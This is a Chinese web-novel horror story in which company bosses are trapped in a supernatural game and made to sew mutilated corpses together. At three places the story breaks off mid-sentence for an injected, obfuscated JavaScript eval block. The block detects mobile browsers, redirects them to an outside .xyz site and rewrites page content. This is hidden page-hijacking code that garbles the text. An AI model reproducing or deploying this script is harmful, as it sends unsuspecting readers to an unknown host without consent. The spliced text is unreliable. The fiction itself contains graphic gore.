《当资本家穿进无限流副本》 1. 楔子 2024年8月19日早上九点半,我照常睡到自然醒,花了十分钟处理完手机里堆积的消息,二十分钟后我穿戴整齐来到车库,上车打火,驶向公司。 十点四十分,我开进公司停车场,朝着这个露天停车场里唯一有遮阳棚的几个车位开去,不知道为什么,我总觉得熟悉的停车场今天说不出的古怪。 我知道了!是车太少。 我看了看车载屏幕上显示的时间——星期一,确实是工作日,噢,所以一定是我的员工为了躲太阳又把车违规停在厂区几栋大楼下了,我无所谓的笑笑——没关系这不是什么大事,我一直是一个宽容的老板,员工应有的福利我是不会剥夺的。 十点五十分,我锁好车,刚好遇到从旁边车上下来的人力总监,他主动上前给我打招呼,我有一点不高兴,都几点了?怎么才来?他也太没规矩了。但是我没有表现出来,我准备下午开周例会的时候敲打他一下。 我俩一边闲聊一边朝办公楼走去,不过我还是觉得停车场有一点奇怪,于是问人力总监怎么看。 他观察并思考了半分钟回答我“今天停车场停的车都很旧,从外观上看像报废车。” “没错。不知道这些员工今天是怎么回事,这被客户看到多影响公司形象啊。”我给了他一个眼神,他立刻回答明白了。 不错,我一向很喜欢他的聪明,下午例会敲打他的同时也可以表扬一下,一作为个优秀的管理者,胡萝卜加大棒的理论我再熟悉不过了。 十一点,我坐在电脑前,登录OA,静待那些从八点半上班就开始无数次点开OA查看我是否在线的员工来找签字——为了不耽误他们的工作,一直以来只要我在办公室就会登录OA,我和我的员工们也养成了这样的默契,我知道他们都在背后夸赞我的贴心,因为靠着OA系统,他们来找我95%都不会跑空——当然剩下那5%是因为在他们来的路上我退出了OA、离开了办公室,但是这只是小概率事件,只能怪他们运气不好。 今天的网速好像有点慢,两分钟过去了我的OA还在“正在登录”界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838930|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面转圈,我决定等会儿就把行政总监喊上来给我解释一下她手底下的IT运维到底怎么在办事,这也太耽误工作了!终于,登录成功了,我照常看向消息中心,奇怪?每天上百条的流程提醒今天竟然只有一条?一定是OA服务器的问题,这个IT到底在干什么?我拿起桌上的座机打给行政总监,同时点开那仅有的一条消息。 “啊——!”电话里传来行政总监的尖叫,吵死了,但是现在我没有心情去责怪她的一惊一乍。 点开仅有的那条通知后,我看见我的OA界面由深蓝色变为了黑色,界面正上方是血红的大字——恭喜您!经过员工投票,您成功入选社畜游戏,祝您成功通关! 在这行血一样的文字的正下方,还有一张勉强看得出是公司领导层的合照,说勉强看得出是因为,照片上的人没有一个人是以正常状态出现的,照片上的“我们”看上去已经没了一点还活着的迹象——头身分离的人力总监李肖,脑袋被砸开脑浆落了一地的行政总监邓玲……以及,身体四分五裂的我。 2. 妈妈的心愿(一) “所以谁能给我解释一下现在到底是什么情况?”孙德义环顾眼前这个破旧的小房间、冲着手底下几个总监大发雷霆,但任凭他怎么喊其他人也说不出个所以然来。 二十分钟前孙德义在自己的电脑上看到了一张不知道谁P的他和一些高管的鬼图,他怔愣几秒后立刻怒了,在公司高层群里让所有总监五分钟内到他办公室开会。 不到三分钟,除技术总监外的其他人就都齐刷刷地出现在了总经理办公室——比起孙德义的怒气冲冲,另外四人看上去都有些惊恐,不用想也知道,他们也看到了那个恶作剧图片。 孙德义看见他们这幅样子就来气:“一个恶意P图就吓成这个样子?你们能不能有点出息?这幅怂样让那帮装神弄鬼的人看了不知道有多得意!” “不是因为那张照片,孙总,是我们刚刚……”人力总监李肖颤颤巍巍开口,话没说完就被孙德义打断。 “不是什么不是?少找借口!宋魏呢?怎么还没来?”孙德义拿起手机给技术总监打电话,却只听见不在服务区的提示音——也许是出差了在飞机上吧。孙德义挂断电话把手机往桌上一扔,同时又瞥了一眼电脑上那张诡异的图片,“算了不等他了,反正他也没在照片上。”听他这么说另外几人的脸又白了一点,但是孙德义并没有注意到。 “真晦气,今天这个恐吓事件你们怎么看?邓玲,你手底下的人大小也是个主谋,你的管理责任跑不掉,说说吧。” 行政总监邓玲脸色苍白深吸一口气道:“孙总,我觉得今天的事不是普通的恶作剧或者恐吓报复。看到图片后我第一时间就给IT主管打电话了,但是没有打通,发消息也不回,我就出去找他,结果我……我看到……办公区一个人都没有。我就又给其他人打电话,全都提示不在服务区,根本打不通!”她眼中蓄积已久的泪水终于落了下来,旁边的人力总监给她递了张纸巾,她缓了缓情绪,“直到这时我才意识到,从我今天早上走进公司起,周围就安静得可怕!我在路上没有遇到一个人,我在办公室坐了一个小时没有一个人来找过我,我的手机没有出现过一条消息包括软件的通知弹窗,但是在我看见OA上的这个界面之前,我丝毫没觉得有什么问题!” 孙德义他们公司每个中心都有一个独立的公共办公区,中心的总监在这个区域内有单独的办公室,不过办公室基本上都是玻璃隔断,正常来说从办公室一眼就能看到外面,但邓玲在办公室里坐了一个小时都没察觉到外面的异常……孙德义脸色难看了起来,他环视一圈,其他人纷纷点头,表示他们的遭遇跟邓玲一样。 孙德义拿起自己的手机看了一遍,网络信号都正常,但确实没有任何一条消息进来,不对,唯一例外的是—— “你们不是收到我发的消息上来的吗?”孙德义发问。 “是,您在群里发的消息是我能收到的唯一的信息。”质量总监钱又回答,“看到OA后我本来以为整个公司只有我在,准备收拾东西先离开的,看到您的消息进来后就想着先过来跟您汇合,在楼梯口遇到了张总,我们一对才发现这件事不简单,应该不是几个人就能完成的恐吓行为,恐怕全公司的员工都参与进来了。” “你们闻到什么味道了吗?”孙德义突然问了个无关紧要的问题。 其他人一懵,纷纷摇头,问道:“您的意思是?” “我怀疑那帮丧尽天良的白眼狼给我们下药了!我们这么些人,在公司呆了半天都没发现没有员工的公司有不对劲,除了通过某种方法制造集体幻觉外我想不到其他的可能。” “可……”邓玲还想说什么,直接被孙德义打断了。 “可什么可,邓玲你多大个人了被这点事吓破了胆,大白天的怕个屁啊怕,走!先离开公司,去报警!” 人力总监立马附和,“孙总说得对,我们这么多人有什么好怕的,公司大门又没锁,出去不就行了。” 见此,其他人也不好再多说什么,纷纷跟着孙德义往门外走去。 孙德义的办公室跟其他总监的玻璃隔断不同,是公司唯一的一个实体墙加实木门的办公室,非常具有隐私性,但此时这种看不见门外情形的感觉却让开门的人力总监李肖心跳加速,在孙德义眼神的催促下,李肖心一横按下了门把手,缓缓拉开厚重的实木门…… 走廊对面的营销中心办公区空无一人,一切看上去跟平时没有什么不同,几人放下心来鱼贯而出,却都在跨出办公室的瞬间眼前一黑。 再有意识就出现在了这个逼仄的小房间里。 房间的天花板上挂着一个老式的灯泡,昏黄的灯光勉强填满了这个大概6、7平米的空间,灯绳静静的垂在边缘已经开始腐朽的朱红色木板门边,空空荡荡的房间里没有家具,布满裂缝的水泥地面和泛黄脱落的墙皮诉说着这间屋子的年岁。 孙德义看着大气不敢喘的四个下属气不打一出来,“你们给我说实话,你们早上到底在哪里?” “孙总,我早上在停车场遇到您了呀!我们一起从停车场走到办公楼,电梯到二楼我就下了,然后就是回办公室,登录OA,看到那个恐吓图正准备给邓总打电话就收到了您发的消息,然后我就去您办公室了,是真的。”李肖急冲冲地解释到,生怕孙德义怀疑他。 “你从二楼到三楼,这段时间里没遇到什么人什么事?” “我在二楼展厅遇到的邓总,我俩都吓得不轻,不敢坐电梯了所以走的楼梯,路上什么也没遇见啊!”李肖拉着邓玲想让她附和自己的话,但邓玲大概是还没回过神来,什么也没说。 “我们跟张总也是。”钱又急切开口,质量总监跟生产总监的办公室都是在另外一栋楼,“我是在3栋L区的楼梯口遇到的张总,我俩过来的路上也是什么都没遇见,不过我们当时没想那么多,是坐电梯上来的,到您办公室的时候李总和邓总已经在了。” “所以你们到我办公室来的一路上除了没人以外都是正常的,那么我们现在是怎么到这个鬼地方的?嗯?” “孙总是不是那个致幻剂……”钱又怯怯开口。 “什么致幻剂?有什么致幻剂能同时让五个人处在同一个幻觉里?还能联机?你也是重点大学硕士毕业,说话前能不能过下脑子?”孙德义好似完全忘了刚刚提出被下药这个结论的人是自己。 “行,那您说,什么东西有这个能力可以在我们无意识的情况下一瞬间把我们集体弄到这个鬼地方来?”钱又刺到,说完后在场的五人都不约而同的沉默下来,在这死一般的寂静中,几声消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838931|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提示音响起,几人对视一眼犹如看见了救兵,迫不及待地掏出安静了多时的手机。 消息来自于“公司经营管理班子”的群聊,孙德义率先点进群聊…… 他看见的竟是一个绿色的对话框——发消息的人是孙德义自己!他突然大力扯过身旁张龙和李肖拿着手机的手,看到的都是绿色的对话框,再看另外两人的表情,显然,每个人收到的都是自己在群聊里发的消息……消息的内容也是一样的……让人有些不适—— “我是一个失败的妈妈,我总是对我的孩子食言、她不爱我;我总是把最坏的情绪留给我的孩子、她不爱我;我害死了我的孩子、祂不爱我……我怎么做才能让我的孩子爱我呢?” “什么乱七八糟的玩意儿?”孙德义啐了一口,“李肖你去,把那个门打开,我们出去看看。” “又开啊?”李肖大概是有开门PTSD了,十分不情愿。 “让你开你就开,哪儿那么多废话,我还就不信了他还能再给我们弄到另一个地方去?” 李肖磨磨蹭蹭走到门口,门锁是老式的那种插销,锈迹斑斑,李肖嫌弃地捏着把手,还没来得及拉开门外就传来一阵敲门声,李肖顿时一激灵,头皮都麻了,停下手上的动作看向孙德义。 几人都没发出声音,门外的人敲了半晌见无人回应终于开口:“你好?那个……我听见你们说话了,你们是第一次进游戏吗?我知道你们现在可能很害怕,但我不是坏人,你们先出来吧我给你们解释下现在的情况。” “……”坏人会说自己是坏人吗? “好吧,我知道,换成是我听到这话也不会开门的。但是你们想想,你们莫名其妙被弄到这个地方,如果真是我图谋不轨,我至于把你们放在一个上了锁了我自己都进不去的房间吗?退一万步说,就算我把你们放在这个上了锁的房间里面,你们看看这破门,我要真想进去还需要在这儿苦口婆心的劝说你们吗?”男人的声音听起来年龄应该不大。 “你们有几个人?”孙德义扯着嗓子问道。 “两个,我跟我同事。这是我们俩最后一次游戏了,这次任务完成我俩就能回归正常生活了。”男人声音听起来有点高兴,但是说的话孙德义没怎么听懂,开始怀疑外面两人是不是有点什么精神类的疾病。 另一道没什么情绪起伏的声音传来:“所以我们主动来找你们,也是希望我们可以一起努力完成这次任务,当然你们也可以理解为我们不想被拖后腿。” 李肖抬手示意离得远的几人看门上面——木板门两米多的地方有一个用卫生纸堵起来的地方,运气好的话有可能跟木门外侧是通的,可以看见外面。 张龙二话不说踩在钱又和李肖的大腿上,被两人扶着缓缓向上抬起升到小洞所在的那个位置,扯下卫生纸从小孔往外看去,不一会儿就朝着其他人比了个“OK”的手势,跳了下来,自觉给孙德义汇报:“外面是一个走廊,目前看着只有三个房间,我们正对门一个,右边尽头一个,左边比较开阔看不见不过估计是个类似客厅的开放性空间,我们门外确实只有两个男人,年龄都不大,手上没东西,就算打起来我们应该也不会吃亏。” 有了张龙的话几人都放下心来,在孙德义的示意下李肖拉开了房门。 3. 妈妈的心愿(二) 暖色的灯光笼罩着装修得很温馨的客厅,从东侧阳台的窗户看出去,天空正被深蓝和橙红两部分占据。 孙德义一行人坐在一侧沙发上,对面坐着刚刚把他们叫出来的两人,长相清秀的那个自称沈逾白,是梧城一家企业的董事长,另一个人是他助理叫周知聿,据二人的解释,他们现在是被卷入到了一个超自然的游戏副本,进来的人需要在游戏内待够五天,并且完成游戏发布的任务就可以通关出去了。 “社畜游戏?”邓玲想起OA界面出现的那行字。 “没错,根据我们和一些其他玩家的交流来看,这个游戏会随机抓取各个企业领导层进入游戏完成任务,任务形式和背景都不同,每个人需完成的任务副本是五个,所有任务完成后就会回归到正常的生活中,再也不会被拉进游戏。”沈逾白耐心解释。 “那任务失败呢?”邓玲急切问道。 “任务失败会死……游戏里死亡的人现实中也就死了。”沈逾白顿了一下,笑了起来,“不过你们放心,这是我们最后一个任务了,我们在游戏里遇到的人也不少,只要不作死,积极完成任务,基本不会死亡。而且这些任务实际上都不难,我们在商场上什么没经历过,一个小小的游戏而已,不用太过担心。” “这些都是你们自己总结出来的?”孙德义感觉这个人的话有些古怪,盯着他盘问。 沈逾白情绪十分稳定,丝毫没有因为被孙德义质疑冒犯而感到不愉快,依旧详细答疑:“一些基本情况是我们第一次进游戏的时候遇到的老玩家告诉我们的,所以我们现在主动告诉你们。当然第一个副本结束后我们也接收到了游戏发布的规则,规则里面就包括了这些信息,到时候这个副本做完你们就知道啦。” “不过你们不要觉得只要努力完成任务就是安全的。”一直没说话的周知聿突然开口,“在游戏里面要遵守游戏规则,按副本的要求行动,不然会有你们难以承受的惩罚,如果因为不遵守规则触发了死亡条件,就算你是为了完成任务……也会死的哦。” “那我们现在要干什么?”孙德义没有完全相信两人的话,但在这陌生、诡异的环境里有两个看起来比较熟练的人总是会让人放心些。 “先搜一下这个房子吧,等待触发任务点。故事背景你们应该已经看了吧,就是你们手机上收到的那条消息——主线任务都是围绕故事背景的,据我们推测这次的任务应该是‘让孩子爱妈妈’,当然这只是我们的推测,你们有其他的见解也可以提。”沈逾白解释完就不再所说了,跟周知聿在房子中进行翻找。 孙德义一行人坐着消化了几分钟后也学着他俩开始对屋子翻翻找找,当然找了半天什么也没发现,只觉得违和——客厅餐厅等公共空间和刚刚他们呆的房间都是这座房子的一部分,但刚刚那间屋子简陋破败整个透露出一股上个世纪自建房的气息;但是这边却不同,客厅、餐厅包括卫生间的装修虽然简单,但也看得出屋主人对这个房子是用过心的,那么那个破烂的房间在这个屋子里存在的意义是什么呢? “你们继续在这儿找,张龙你跟我一起去那三个房间看一下。”孙德义带着张龙来到走廊,刚才他们出来时并没有关门,顺势站最初那个房间的门口望了望——房间里跟他们离开时一模一样,里面什么都没有,一眼看得到头,俩人看了半天什么都没发现,转身看着对面的房间。 沈逾白二人说他们是莫名其妙出现在这个房间里的,跟孙德义他们那间的朱红木板门不同,这个房间和走廊尽头那个房间一样,都是奶白色的实木门,与整个房子的装修风格保持了一致。张龙在孙德义的示意下按动门把手—— “妈妈?你在干什么?”一个脆生生的童声打断了他们的动作,两人被吓得一抖险些叫出声来。 朝声音来源看去,只见一个披散着头发的小女孩抱着一个大小跟她差不多的玩具娃娃站在走廊尽头的房间门口,房门没关但走廊的灯光并没有透进去,黑洞洞的房间什么都看不清,同样看不清的还有这个小孩的表情——灯光从她头顶的天花板照下,她的五官都敛在了阴影里,但孙德义能感觉出来他们正被小女孩死死地盯着。 没人回答女孩的问话,孙德义二人不敢轻举妄动就这么站着跟她对峙,就在气氛越来越僵持时,留在客厅的众人跟在沈逾白的身后慢慢踱步过来。 “怎么了?”沈逾白看着小女孩发问。 “妈妈,你还没去缝娃娃呀!太好了幸好我起得早!”女孩头一歪,嘴角勾起一个大大的笑,对着沈逾白甜甜的说。 除周知聿外的其他人都用惊恐的眼神看向沈逾白,慢慢向一边挪去试图离他远一点,沈逾白无所谓地继续与小女孩对话:“缝娃娃?” “对呀妈妈,你每天天不亮就去缝娃娃了,我每天都见不到你,昨晚我特意趴在桌子上睡的,就想在你去缝娃娃前见你一面呢。” “真乖,我现在要去缝娃娃了,你是要继续睡觉还是……?”沈逾白语速极慢的问道。 女孩没有回答沈逾白,而是突兀地问到:“可以不去吗?” “不可以呢。” “好吧……那我继续睡觉啦妈妈,晚上要早点回来呦。”说完她就转身要回房间,剩下的孙德义一行人自觉拉开了跟沈逾白的距离。 “等等。”一直沉默地周知聿开口,身体已经完全被黑暗笼罩的小女孩停下脚步转身看着他们,周知聿有点烦躁:“你有几个妈妈?” “一” “二” “三” 女孩竖着食指将人一个一个划过,嘴里配合着手上的动作慢慢数着数字,仿佛是在认真计算妈妈提出的数学题。 “七!七个!囡囡今天有七个妈妈呦!” “真棒,回去睡觉吧,做个好梦。”沈逾白温柔地接过话,对她挥挥手,在女孩彻底关上房门后转头看向跟自己隔着楚河汉界的几人,还没说话身旁的周知聿再次开口:“懂了吗?” 众人点头。 沈逾白拍拍周知聿的手臂,微微一笑:“我理解你们第一个副本的谨慎,不全然相信我们也没有关系,但是你们一定得遵守副本规则,不要违背副本的底层逻辑,其他的我们可以慢慢磨合。” “知道了知道了,我们后面会注意的。”李肖见孙德义的脸色不太好立刻接过话头,“那我们接下来,是不是要按她说的去缝什么娃娃?可她也没说去哪儿啊。” “既然女孩说‘我们’每天天不亮就出门,那这个‘缝娃娃’的地方肯定不会是在这个房子来,现在快天亮了,我们先出去吧,到外面自然会有提示的。”沈逾白说罢转身往外面走去,周知聿还是沉默地跟在他的身后,李肖在孙德义的示意下主动打头阵跟在两人身后。 天已经蒙蒙亮了,环抱的群山在这种将亮未亮的天色里显得有些狰狞,门口只有一条水泥路朝深山延伸,看着要走不知道多远的路,邓玲看到后果断脱下她昂贵的高跟鞋,把细长的鞋跟敲掉扔在了路旁。 几人警惕地沿着小路走着,路旁时不时会出现一两座伫立的房屋,跟他们离开的那栋一样;偶尔也会从房子里出来个人加入他们赶路的队伍,张龙起先以为他们也是玩家,后来发现不管跟他们说什么,他们都只是眼神空洞、嘴里絮絮叨叨地念着:“天快亮了快去广场”,仿佛没有灵魂的复读机,沈逾白说他们只是游戏里的NPC,不是真的人,张龙便也放弃了跟他们交谈的想法。 在天大亮前,一行人终于来到了村民口中的广场——四周是直立的山峰,这个足球场大小的广场像是直接从上至下将山体凿了个坑再夯平的,蜿蜒的小路是这个广场唯一的缺口。广场中间有一个冷却塔形状的柱体,中部窄上下宽,上端隐入灰蒙蒙的云雾,下端离地三米左右的位置封闭的水泥塔身变为了一根根合抱粗的水泥柱插入地底,相邻的两根柱体之间的空隙差不多是一个人的宽度,渗水砖由塔底向外铺开、铺满了整个广场。 上百村民聚在广场的入口,齐刷刷盯着一个正站在塔下的佝偻老人,李肖在人群中挤出一条路护着孙德义等人挤到人群的第二排——沈逾白二人在他们前面。 李肖想着虽然跟这群人不人鬼不鬼的东西挤在一起非常瘆得慌,但万一最前面那个老头突然变成怪物一口一个呢?第二排总归比较安全。 “诸位——”天空还是阴沉沉的,厚厚的云层仿佛要将整个世界都吞噬,塔下的老人用沙哑的声音缓缓开口,“天亮了,过来自行领取工具吧,请各位缝尸匠尽快完成今天的任务。” 语闭,老人抬手将拐杖在地上敲了三下,他身后的塔中传来稀稀拉拉重物落地的声音,像是一袋袋垃圾被人从高处扔下,但此时没人会认为被扔下来的是垃圾,老人的声音不大,但四周的山壁仿佛是天然的喇叭,将“缝尸匠”三个字清晰的送进孙德义五人的耳中。 村民纷纷朝着塔下挪动,路过几人时也不闪不避地撞过去,脸色煞白的邓玲朝着孙德义哆哆嗦嗦地开口:“孙总,我小时候看电视的时候……听过‘缝尸匠’这个职业,就……就跟我们现在的入殓师差不多,不过毕竟简单粗暴,就是使用新鲜的猪皮和竹子将残缺的尸体缝合起来,让人走得体面些。” 邓玲转头看向那座高大的“冷却塔”——“所以那里面……应该就是我们要缝的……尸体……” 塔下的渗水砖已被塔里的流出的液体染成了暗红色,泥里腐烂植物的味道夹杂着铁锈味逐渐飘入每一个人的鼻子。 两个已经从塔下拿起砍柴刀和猎枪的村民从几人身旁路过,目送着他们沿来时的水泥路没入山林,邓玲定了定神,转头继续说道:“我们来的路上全是竹子,猪的话……” “野猪。”一旁的周知聿开口,“我们来的路上有很多新翻出来的小坑,我以前去山里露营的时候见过,是野猪翻的。” “农村的话……村民家里应该都有养猪吧?有没有可能是用家养猪?”钱又问到。 “可能性不大。家养猪用不上猎枪,而且我们来的时候经过了那么多户人家,你有看到猪圈吗?”沈逾白反问,还未等钱又有什么反应他又安抚地补充了一句:“不过可以先不急,等看看刚才那个人带回来的东西再做判断。” 说话间一道阴恻恻的视线犹如实质朝他们投来,众人不敢再站在原地讨论,磨磨蹭蹭地挪到塔前。 冷却塔的左右两侧各摆了几张木桌,四周已经有村民开始将塔里的东西拖出来了,他们席地而坐丝毫不在意地上的血污——毕竟他们连手下那四分五裂的尸体都不在乎。 孙德义几人白着脸目不斜视地走到木桌旁,桌上放着各种工具,除了刚刚村民拿的砍柴刀和猎枪外还有木质的缝衣针、鱼线,都是缝补尸体时需要用到的,村民都已经拿了,剩下刀具和猎枪各一把以及五套针线很显然这是留给他们七个人的——张龙和钱又抢先把工具拿起来衣服兜住,沈逾白二人看了看他们没说什么。 谁也不知道再逃避下去会不会触发所谓的惩罚,只能硬着头皮走到塔边,只朝塔里望了一眼李肖就忍不住吐了出来——村民手下的一具具残缺的尸体虽然渗人但是对他们一行在社会上闯了几十年的人来说冲击不算太大,而塔里堆积成山的断肢残臂、不断涌出的血水、源源不断从高处坠落的烂肉、滚到李肖脚边的不知道什么器官……这一切已经超过了几人的认知,邓玲精心化好的妆早已被冷汗和眼泪晕开,孙德义昂贵的鳄鱼皮皮鞋被血污和李肖的呕吐物磋磨得光泽不再,向来以妥帖示人的李肖这时早已顾不得衬衫是否褶皱头发是否凌乱——他只想赶快离开这个鬼地方! 张龙二人没靠近,但看几人的反应也知道里面大概的情形,再看沈逾白和周知聿,除了周知聿从衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838932|175709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服包里摸出个口罩递给沈逾白外,再没有其他反应。 张龙跟钱又对视了一眼达成了一致——这二人绝对不简单!就算是因为前面已经经过了数个副本,但是一个在文明社会生活了几十年的人,见到这种惨无人道地狱般的景象,怎么可能连眉头都不皱一下?要不然是他们的身份有问题,要不是就是他们在现实世界的经历有问题,反正都不简单,接下来的几天他们不仅要防着这个游戏的所谓规则,还得时刻注意他们二人。 孙德义大概是缓过来了,转头示意张龙上前,张龙长叹了一口气,嘟嘟囔囔地走了过去,也不用老板吩咐,自觉就把手上拿着的刀和猎枪递给孙德义,自己去看看要怎么扛一具尸体出来,余光瞥见孙德义把刀具递给了邓玲,心里对孙德义这突如其来的绅士行为感到稀奇,却也没多这句嘴。 孙德义和邓玲两个当事人也很奇怪,邓玲非常自然地接过孙德义递来的砍柴刀,拿到手才反应过来似的补了一句“谢谢孙总”,孙德义压下心中的异样朝她摆了摆手,转头看着张龙。 张龙摸出衣服兜里的防静电手套戴上,又掏出防噪耳塞塞在鼻子里,并后悔了十秒钟自己竟然没带防毒面罩过来,一顿装备后站在塔外观察片刻——他在努力地挑完整一点的尸体,终于选定后便一手抱着水泥石柱,一手伸到塔里,摸索一下后扯出来一具合格男尸——脖颈处的皮肉被生生撕裂,所幸骨头没断,头和身子还没彻底分开。 张龙拖着这具男尸一路走到放工具的木桌边,看向好不容易缓过神的李肖,出言让他搭把手把尸体抬桌上去,李肖听完又要吐,张龙无语,环顾一圈——孙德义指望不上、钱又在警惕着沈逾白二人、邓玲……不知道这个副本是不是会加“绅士”buff,张龙压根就没考虑过让邓玲帮忙,最后他只好向沈逾白开口。 “沈总,可以请你助理搭把手吗?” 沈逾白笑着点点头,周知聿沉默地帮张龙把尸体台账木桌放平,除李肖外的其他人都围了上来,孙德义率先开口:“那老头说今天得完成各自的任务,说明缝尸的数量是有限制的,不能等着那些村民来缝,问题就是,我们是属于一个人还是七个人?” “一个吧?我们不是那小孩儿的‘妈妈’吗?” 张龙话音刚落钱又就出声反驳道:“村民一个人砍竹子、杀猪、缝尸,我们七个人干?这游戏有这么好心?” “现在剩下的工具刚好一刀一枪五套针线,这不就是要我们分工干的意思吗?如果我们各算各的难道工具要轮换着用?”张龙也不甘示弱地回呛。 两人谁也不让谁,习惯性地看向孙德义等他拍板,孙德义转了转左手大拇指上的玉扳指,慢悠悠开口:“都有道理,我认为……我们应该是算的一个人但是我们的工作量绝不可能跟一个村民一样,估计得再乘以七。”说完他下意识看向沈逾白,反应过来后又立即若无其事的转头。 沈逾白恍若未觉,还是用带着笑意的声音赞同孙德义:“我同意孙总的意见,而且我得补充一点,刚刚我们七个人站在广场上没有行动的时候,那个老人停下了所有动作盯着我们,仿佛我们再敢摸鱼一秒就把我们吃了,但是现在……”他说着指了指李肖的方向,“你们这位同事,从刚才开始一直在旁边吐,也是什么都没干,但是老人从他身边经过了三次都目不斜视,丝毫不在意。我猜,这应该是因为作为同一个‘人’的我们,正在认真工作。” “所以我们得抓紧时间。”孙德义说着顿了顿,看向沈周二人,“已经有村民扛着猪皮回来了,褐色的看上去是野猪……所以,我们怎么分工呢?” “都可以,前提是我必须跟他一起行动。”周知聿又补充了一句,“对了,我以前杀过野猪,有经验。”沈逾白在旁边附和地点点头。 孙德义四人面面相觑,他们五个人里面唯一有点战斗力的就是张龙和钱又,沈周二人又要一起行动,虽然沈逾白看上去文文弱弱,但是面对尸山都面不改色的人,真的会是个善茬吗?如果让这两个人缝尸体,张龙和钱又谁也不能保证能一打二对付沈周两人,并且,他们都没跟野猪对上过……思来想去,还是决定让沈周二人去林子里砍树杀猪,他们五人留下缝尸。 沈逾白和周知聿二人拿着刀枪离开了,孙德义看了眼一直蹲在旁边的李肖气不打一处来:“李肖!你还要在那儿吐多久?我给你一分钟时间把自己调整好然后过来干活!” 李肖听见孙德义的话浑浑噩噩的眼神总算是恢复了一点神色,孙德义看他应了也没再管他,自顾自地安排钱又把所有木桌都拼在一起,喊张龙再去选几具死相好点的尸体过来——他们暂时没有猪皮和竹子,只能先挑皮肤和骨架完整的尸体缝。 - 手上的木针不像普通缝衣针那么锋利,虽然已经被磨得很尖了,但是要刺穿人的皮肤也没有那么容易,更何况他们手下的是他们的同类……使出所有力气把木针穿过尸体皮肤的那一瞬间李肖感觉自己在杀人,虽然这个人已经死了……但是怎么能……怎么能用尖锐物品刺穿一个人类的皮肤呢?到底为什么?他就是一个兢兢业业上班的普通人为什么要让他伤害自己的同类?为什么要他来干这么恐怖的事?他到底做错了什么?! “李肖!”几人本来在孙德义的指挥下围木桌缝制尸体,克服了最初的不适后每个人的进展也还算顺利,时间估摸着快到了中午,沈周二人回来送过四次木竹和猪皮,一切可以说是有条不紊地进行,谁知旁边的李肖在缝一具新抬上来的尸体时突然就不动了,杵在那儿大口喘气眼神发直,意识到不对劲孙德义一巴掌拍在了李肖的背上,看他清醒过来了忙问怎么了。 “我……我就是突然觉得……”李肖吞吞吐吐没说出个所以然,不经意间的一个低头让他看清了手下这具尸体熟悉的脸,顿时他眼前一黑,全身汗毛瞬间立了起来—— 4. 妈妈的心愿(三) 李肖先前的不正常本来就把其他人吓得不轻,结果他支支吾吾半天突然又愣住没动静了,几人登时火就上来了,钱又一把扯住李肖的衬衫领子骂道;“你他妈是不是有毛病?从刚刚到现在一直在那儿一惊一乍的,能不能收收你那怂样别耽误事儿了!” 李肖却没像往常一样找借口为自己开脱,而是机械地抬起头惊恐地望着其他几人,最终把目光定在孙德义身上,他嘴唇颤抖,使出全身的力气才费劲地咬出几个字:“孙总……这具尸体不是……是……不对他是谁?我想不起来了……孙总你看看这具尸体是不是很眼熟?” 听他说完其他几人皆是一愣,立即上前查看——这是一个其貌不扬的中年男人,四肢被搅成了一堆烂肉靠着脂肪粘连在躯干上,平平无奇的五官还算规矩地排布在他的脸上,唯一称得上一句好看的是那双桃花眼,但也许是死前的痛苦太过深刻,那双仍带着恐惧的眼睛睁得老大,仿佛下一瞬就要掉出来。 看着这张熟悉的脸,张龙惊呼出声:“这不是……”是谁?话到嘴边张龙却突然想不起自己要说的人名是什么了,他抬头发现大家的脸色都不太好,邓玲眼泪都掉了下来,但是没一个人能说出这具男尸的名字……对了,邓玲! 张龙突然伸出手遮住了尸体的眼睛,果然,熟悉感消失了!他嘿了一声示意大家快看,接着又将手缓缓向下移,遮住了尸体的鼻子和嘴,只露出眼睛部分……看看尸体,又看看邓玲,终于如释重负:“我知道了!这双眼睛长得跟邓总的太像了!所以我们在看见整张脸的时候会觉得熟悉却叫不出名字,其实我压根就不认识他!” 孙德义和钱又看了看尸体,又看了看邓玲,露出了恍然大悟的表情,显然是接受了这个说法。 他们帮着张龙一起把这双眼睛合上,仍觉不够又让邓玲取下丝巾盖在尸体的脸上。 李肖看上去还是有点恍惚,张龙主动提出跟他交换尸体时他想也没想就同意了,张龙喜滋滋地把自己分到的那具浑身上下没有一点皮肤的尸体换给了李肖——由于他是唯一一个带了手套的人,孙德义二话不说就安排他负责所有看起来比较恶心的尸体。 大概是觉得跟一具尸体有一双七八分像的眼睛很晦气,邓玲提出与离这具尸体最远的钱又交换位置,钱又张口就要拒绝,但话到嘴边又鬼使神差地变成了一个“好”。 